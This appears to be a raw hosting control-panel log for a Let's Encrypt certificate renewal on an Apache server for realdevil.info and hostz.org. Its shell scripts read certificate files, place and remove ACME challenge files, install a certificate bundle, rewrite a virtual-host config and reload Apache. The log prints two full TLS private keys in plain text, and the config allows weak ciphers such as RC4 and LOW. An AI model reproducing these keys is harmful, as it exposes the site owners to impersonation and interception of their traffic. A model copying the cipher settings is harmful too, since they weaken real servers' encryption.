BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-30 06:00:43: 

chmod 755 /tmp/pkp275203; /tmp/pkp275203; rm /tmp/pkp275203

2025-11-30 06:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt	5352
d6:f9:75:c5:ec:14:95:86:da:f2:fb:8f:18:67:e9:9b

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBTWVP2s5pTGYbLgF/b5bhSpBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMjExWhcNMjYwMjI4MDUwMjEwWjAUMRIwEAYDVQQD
Ewlob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDHiwJp
U4M6ERZIF/YgbkEMz1sAbWjJJMCPBcZ3hiO5kHwgW79rNZRHem1mbSskBA126JdF
fVyEZ/hbfqwuTCR0/+aCXBYF1rluqHS/a/nZDXFqffZT1f5rAwtNoV2oocFbDE3/
9ymFa1Omw00FK0rZhewZZ+zEeK8/Q/StBoh9a4seBoE7PtNHBRTHo2rr/FLCyOoq
c30xFdrUnkGlSbo73+/XY85Dwmb/ZASvGxs8GdCAJUpMkBD3Rf63MWqIMJqjeBEr
0A2GG3quTS3t/CD5Q+RY26Eo5SteIFf/WpEVpdRCFMUOCw7GSxXfvmQCaMkU0G9B
X3d7K1SgbHGJWLtJAgMBAAGjggInMIICIzAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FE35NeG3ynnGGKpCbcJ6yoPlyq8iMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJaG9zdHoub3Jngg13d3cuaG9zdHoub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTMuYy5sZW5jci5vcmcvNjYuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUA
ZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGa01lioAAABAMARjBE
AiBePv9nAIyQ366I7QT3NtP95VzkQUPJxb5MrldDCRgMnAIgNV697WbUdR3jL6my
MfsadnS9fFlzKJn8UftLk7dcgLMAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0h
qSWsYcVOIQAAAZrTWWKiAAAEAwBHMEUCIQDHQzeRvDIvsKGqX3jRbV36djwz9CRp
KE8ZHwfwgMEk5gIgVmhDVnHdrqmIkHWiBt0GNd5j29rcGMqx4ESSu0O+2XEwDQYJ
KoZIhvcNAQELBQADggEBADKv1/B1BMpX9yCNVNSBHMkoREGkEHW6iWsEuPcwXmJP
dNSKlA6db5e6UeOT2YodmRc3kuX59EllMIAwv0Bj+jTS0OYpRRlB0NCpPkhl9dvc
yfWD7qyuF0Ub2ext8jqWSVZ6xZCr6FRp/D1RutDYksVSXSkC+r0fnwfeHGRCj9CK
aixOojqq2Cxk5niwjGWCKUzadV8nNwx7t3DnODPm+7NHlBK2iQMXqPePA/mURgTq
Q4uPwxAHDMAtPPRYHCro0C0/bsvDY2Hplm0Fa7sSGXnyeeocc2b07pC+4qCTb/2b
ME75huv6FoV+qWisqI6b3MLydrR+LUfSki0c0QI87j4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHiwJpU4M6ERZI
F/YgbkEMz1sAbWjJJMCPBcZ3hiO5kHwgW79rNZRHem1mbSskBA126JdFfVyEZ/hb
fqwuTCR0/+aCXBYF1rluqHS/a/nZDXFqffZT1f5rAwtNoV2oocFbDE3/9ymFa1Om
w00FK0rZhewZZ+zEeK8/Q/StBoh9a4seBoE7PtNHBRTHo2rr/FLCyOoqc30xFdrU
nkGlSbo73+/XY85Dwmb/ZASvGxs8GdCAJUpMkBD3Rf63MWqIMJqjeBEr0A2GG3qu
TS3t/CD5Q+RY26Eo5SteIFf/WpEVpdRCFMUOCw7GSxXfvmQCaMkU0G9BX3d7K1Sg
bHGJWLtJAgMBAAECggEABl0OhKFfK/jjhwUMmlgpxujN9COJFfEQGv+KJsGmXgKX
ksiaQCcDRYxH9N5CY/GlJEeim1q2GpreNrzBbPCMsRaAGWQqZ6FDZJ4Gqxwcaame
FlFSC7ZlWLBOKfmdbQVLj0XDLwiI0HJtxoGv8RxCVNGKh/zidhmLLS9TnDj7HVTE
KCCIxhShN/cLuoZjAxrF5wZlDLm64d3Yq2gIRiDEyzBamWTTO9WxfFzKleq2BPtJ
EZiHSM685Fvp6pZNU+xc1o5TgpOciwSyb+BQRDEqZycjuWhljQHUE+XZmDVprrcY
3WwfZsTaZgmNe7s8KxgBcrwiresTkWK/1PRCw6seoQKBgQD8XUEstj3Zs0im9khf
lY167ELx2QNUuUZMWd2HZ58HZg7pE1ikMYqzb6Ju4EHxhJrtK287w2ByxvDjxfTX
SlIm65mTsrCRUcDGDZBL3VUSAjUw6JScHkjOa/J527K5xl3MPxtM+Kp60r9c02do
4ZADA+8NB8W4bMcZJPSIX+pNTQKBgQDKavHOMoUaVL6r2Wz792iYafZnpR/anXKl
G9xy7ubZi/AqEsBeqQJhPiUsoGOVDc/4C8Hz6jGdUcuj0pZ95rIEoa27V2yD93LH
qnHnJcpDGx/8npAmbmRgKgrl+KlTAcYAG9dRBemfHHZ3+OYPLRMC+WnoOGfViZNd
FJEthNJX7QKBgBjkGcmPMAqI5GGTaRAEcC/vnaq8/NcebxCYzIDOd6EDL/VNMzD+
se+A00ScWeS4b490+UOrwZeQh7HvlHannfK4yi0HMuMibSEbtV/GNN3R2e05A29i
jUvO2durD7XDGv1KPCcbX7U9lCJTt59goBOsD6f5XEcUc47HVlcdHr8BAoGBAKGl
JdT0ozaT1nCGAXJ18SFF/XBnfTin45XW2gUuo0u3ZOM0dkshzLS7XBR3QQ8XKK19
NjYDH/vyBh2dXnDMef0Y4BRrjE0WnqK0iqF8nDlawACM37DRF3d0G5/rI80V7XjI
wvoBLr/RiwnjylT0Oep2Iw0/fiwY4YXDluwy1YdBAoGAA2po4LhrUglJH8KSGHLy
yblDJmLEZZabqepXHmn+p0IcZ+rGvGH0CrwghK2YRkqKxSASVeuprT0GjZyAozi9
TAhihfdS8a8h+silT7hufP9OigvFj3dqpfHN9TYgmSkh7WRxZyCmJpk8e61KjlNU
oZXAduQkJx9j+ERFkjWs6v4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-30 06:00:43: Establishing a connection
2025-11-30 06:00:43: Establishing a connection
2025-11-30 06:00:43: 

PUT: /tmp/pkp958588

#!/bin/bash
if [ -d "/var/www/realdevil_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-30 06:00:50: 

chmod 755 /tmp/pkp958588; /tmp/pkp958588; rm /tmp/pkp958588

2025-11-30 06:00:50: 


1


2025-11-30 06:00:51: Establishing a connection
2025-11-30 06:00:51: 

PUT: /tmp/pkp771082

#!/bin/bash
mkdir -p "/var/www/realdevil_www/.well-known/acme-challenge/"
cd "/var/www/realdevil_www/.well-known/acme-challenge/"
cat > 3-U0jki0vgLpbRtMynG8iCc3epeZzR6s5GEnVIaT2rQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3-U0jki0vgLpbRtMynG8iCc3epeZzR6s5GEnVIaT2rQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3-U0jki0vgLpbRtMynG8iCc3epeZzR6s5GEnVIaT2rQ
cat > OvUTSd-VEuEQ81Q1Yl1mBZ7o_ykwSb9vPQTyTwBbW4Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
OvUTSd-VEuEQ81Q1Yl1mBZ7o_ykwSb9vPQTyTwBbW4Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 OvUTSd-VEuEQ81Q1Yl1mBZ7o_ykwSb9vPQTyTwBbW4Y


2025-11-30 06:00:52: 

chmod 755 /tmp/pkp771082; /tmp/pkp771082; rm /tmp/pkp771082

2025-11-30 06:00:52: 




2025-11-30 06:01:02: Establishing a connection
2025-11-30 06:01:02: 

PUT: /tmp/pkp833023

#!/bin/bash
mkdir -p "/var/www/realdevil_www/.well-known/acme-challenge/"
cd "/var/www/realdevil_www/.well-known/acme-challenge/"
rm 3-U0jki0vgLpbRtMynG8iCc3epeZzR6s5GEnVIaT2rQ
rm OvUTSd-VEuEQ81Q1Yl1mBZ7o_ykwSb9vPQTyTwBbW4Y


2025-11-30 06:01:03: 

chmod 755 /tmp/pkp833023; /tmp/pkp833023; rm /tmp/pkp833023

2025-11-30 06:01:03: 




2025-11-30 06:01:03: Establishing a connection
2025-11-30 06:01:03: 

PUT: /tmp/pkp850464

#!/bin/bash
temp_file=$(mktemp)
TARGET=2a6ddbe9e3dc02179c0a0d6b1925eaef.pem

cat > $temp_file <<'endmsg'
e7:3e:90:3e:4e:29:30:e1:9c:3a:0f:a3:ac:25:a2:09

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBda222+90moLJdFi0R4MmQj8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMjMxWhcNMjYwMjI4MDUwMjMwWjAZMRcwFQYDVQQD
Ew5yZWFsZGV2aWwuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AN0l8SAiTDJ8Pw2km6pqYllnWfM+GVUu0DLUS6dhxqw7W2nrFGNJXNvbOdPHK/K7
gSYH7polh4qsmjyAoL+26+uZ6cLqOeDDsEX4y7w6Y38yLuBIzwjgsebr/8VLo+Nl
4m8DJutHRC4paQXsAIUzjFMNIeTX5k1O5p7K6U5eoFdsyQk7KsanhNfVoo7Fr4Mo
I2tXkx7Lu4h02gU+yjXrVAadEjD9nIa5t+BVScEsEtMvns2xYnf0jscZWb7nvCsj
cIJNwGDnrg8S5zwwk1fFGlJtvoE9M3glWiA26UIh+jLG9p8eEzZSa/jo9Wz6Yf6Y
CturwdZgPBhwg0ERHL42hpkCAwEAAaOCAjQwggIwMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUakT/FspfnNxU0EoAkT6VPq0Pu7AwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5yZWFsZGV2aWwuaW5mb4ISd3d3
LnJlYWxkZXZpbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI1LmNybDCCAQUGCisGAQQB
1nkCBAIEgfYEgfMA8QB3AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjD
AAABmtNZsBYAAAQDAEgwRgIhAITljuPU3xtAJGirWrOm+TBOPTJiZOGdp2jefHXA
hduKAiEApPamS/xajcamLA89SJZDnJxXsTMB9yOYNzB8kV96q3sAdgAOV5S8866p
PjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZrTWbANAAAEAwBHMEUCIAP5h5+y
G0nHc4ujV0p32d02IktiHQldysLEyPfkd90fAiEA/nMDG9dAzFQNqQnPBaVkcILs
t6TTC0bRpAAocxNaJuYwDQYJKoZIhvcNAQELBQADggEBAIDEknS7n9ur7b0nLHwa
HVrKKaHpALsesaa6LGAEDQIHLPmEpqPciPdpT3id17+kVNnfwoaiaFlKu7kfqR8i
liBmYjLqA7kULm7lufksSEv0gSjmw5/MuiAlXnXnjTD6l4GgnLDWIHXR/bJ0J82B
Vok3H2SQ6RBXhDiBv3fH0nPuiXTT2bJ0TDP2y4LgNiHQrQLz69nnv8weLrncHDsV
jRneuVhCm0xSThmyq2vVQ95ET1UN3PE5iWsnw/WRdYuCFN5KZ4iZ3t5QT6txYQ+q
0yiob0y01WnH6avvI3Qa3IhLhu2kUt7sX4RLl1hqn0TrhDY66SJjmWOKZc0uqYOT
G04=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDdJfEgIkwyfD8N
pJuqamJZZ1nzPhlVLtAy1EunYcasO1tp6xRjSVzb2znTxyvyu4EmB+6aJYeKrJo8
gKC/tuvrmenC6jngw7BF+Mu8OmN/Mi7gSM8I4LHm6//FS6PjZeJvAybrR0QuKWkF
7ACFM4xTDSHk1+ZNTuaeyulOXqBXbMkJOyrGp4TX1aKOxa+DKCNrV5Mey7uIdNoF
Pso161QGnRIw/ZyGubfgVUnBLBLTL57NsWJ39I7HGVm+57wrI3CCTcBg564PEuc8
MJNXxRpSbb6BPTN4JVogNulCIfoyxvafHhM2Umv46PVs+mH+mArbq8HWYDwYcINB
ERy+NoaZAgMBAAECggEAUcPghjgIIjZr/bhZ0cVpvZKH4HaaWTNoyRJTMnzlPvLn
Vp8TN659RdClbdbbOfD3zD7silPL7Irqr+oDBT81tTOACZAefCr+NrDJazvPY80D
JevlmGuzeyTQuXrBCqe188OflSgRXlvzN7xNaPJpNJ/LY1gsD3NXs2hkoJQ+BnRD
FjGqnqFLq7WrcbSJoJvAMWxkLF2dlaSBzHujvC15YOCJz4IZL3McTnkEDBw7MX07
FNBhqi8dJngsnPiN30Bk4fonWO01xWfIoB9+BGKpPhgc/WGJUi0XGJDofjqziCJC
A3QLVFHWltJT71O45XZ/hxBU27aYXTbjZY/Moh8vPQKBgQD8HqPpLbzz/8zQWUh7
PPCg6O3XD011kXtuyBFMSXu8Vww9g2nUy6uMKz1zliIacojzV9fv4xRa0/tvWmDR
9bVRFG3ywAoVdpVVKMZHSCpENSdqsIZEKwFQG6bBJaQPgTgpQi6JsWVr5h9FingU
VSQ9QWu9QPoFiyPmMmcH2erwIwKBgQDgjUXjAYVhvsJqG7Xx94kS00AEjKXyAIuR
9bC/trCM+tIq+5x1EIMoyQlQmADRV8hVlnVnGhzysbdZk7VcNPZmJbGkM8a8lYQR
V7IIJot34JimGcbDpl5FOkPNjrJ9mfKDTjqHmmcRquymLeIX+rQUn/0EAIX7LcSg
DZBE8S+8EwKBgQDsGs2pixnO7xkhbNuB/dni9v/1TPFfTrTnVBlO9eoYwPRHjw/H
Jk0q4TuVSV36opQ6P2OL1X60aJyo9VyCg7YfjiBBGzLWUs0aiSrWinB6m8SkF1hF
8ngySxLpApUXqA2uJbprXGP8ne9fMoOtluZvLxr0iysZkeo2o7D1G1D3PQKBgCHy
ucIcFMI2SMYp8lPmjH6gGWmWqe/wTSl/73zMbdyifuuopnq8SFf+LL5WfKkpkEwA
NzejJwU6API19pE+IJJI2JZujXktUY4dp/i7exJgjjNuajJiEJZ+vIlzLWD3yUY4
qXieyz5MjQKCpU/iwx7rISFdwuO6g6N+6XTC0eipAoGAcYwBHjJZjJa1j5cMZb/W
RdGV5TwvAuP71dWtgBSXLYdnt9j6cd8jEAczNzczLW96wlMrS0jlwfGPHoF5zJez
y21NGWFUzYpMQ5TzimEquKSRUwBaPgTW07+BdQo9WWNl27V8XkWM1dXSxOoSawTi
SnUnRM9apzhET6SpKedna3k=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-30 06:01:03: 

chmod 755 /tmp/pkp850464; /tmp/pkp850464; rm /tmp/pkp850464

2025-11-30 06:01:03: 


dir=/etc/ssl/certs


2025-11-30 06:01:03: 

PUT: /tmp/pkp418062

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/realdevil_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-30 06:01:03: 

chmod 755 /tmp/pkp418062; /tmp/pkp418062; rm /tmp/pkp418062

2025-11-30 06:01:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realdevil_www_info.conf 42

<VirtualHost *:80>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-30 06:01:03: 

PUT: /tmp/pkp184518

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=realdevil_www_info.conf
TARGET=/etc/apache2/sites-enabled/realdevil_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/realdevil_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/realdevil_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/realdevil_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/realdevil_www_info.conf= 1'
fi


2025-11-30 06:01:03: 

chmod 755 /tmp/pkp184518; /tmp/pkp184518; rm /tmp/pkp184518

2025-11-30 06:01:03: 




2025-11-30 06:01:03: 

PUT: /tmp/pkp214844

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-30 06:01:03: 

chmod 755 /tmp/pkp214844; /tmp/pkp214844; rm /tmp/pkp214844

2025-11-30 06:01:04: 


.


2025-11-30 06:01:04: Establishing a connection
2025-11-30 06:01:04: 

PUT: /tmp/pkp342377

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
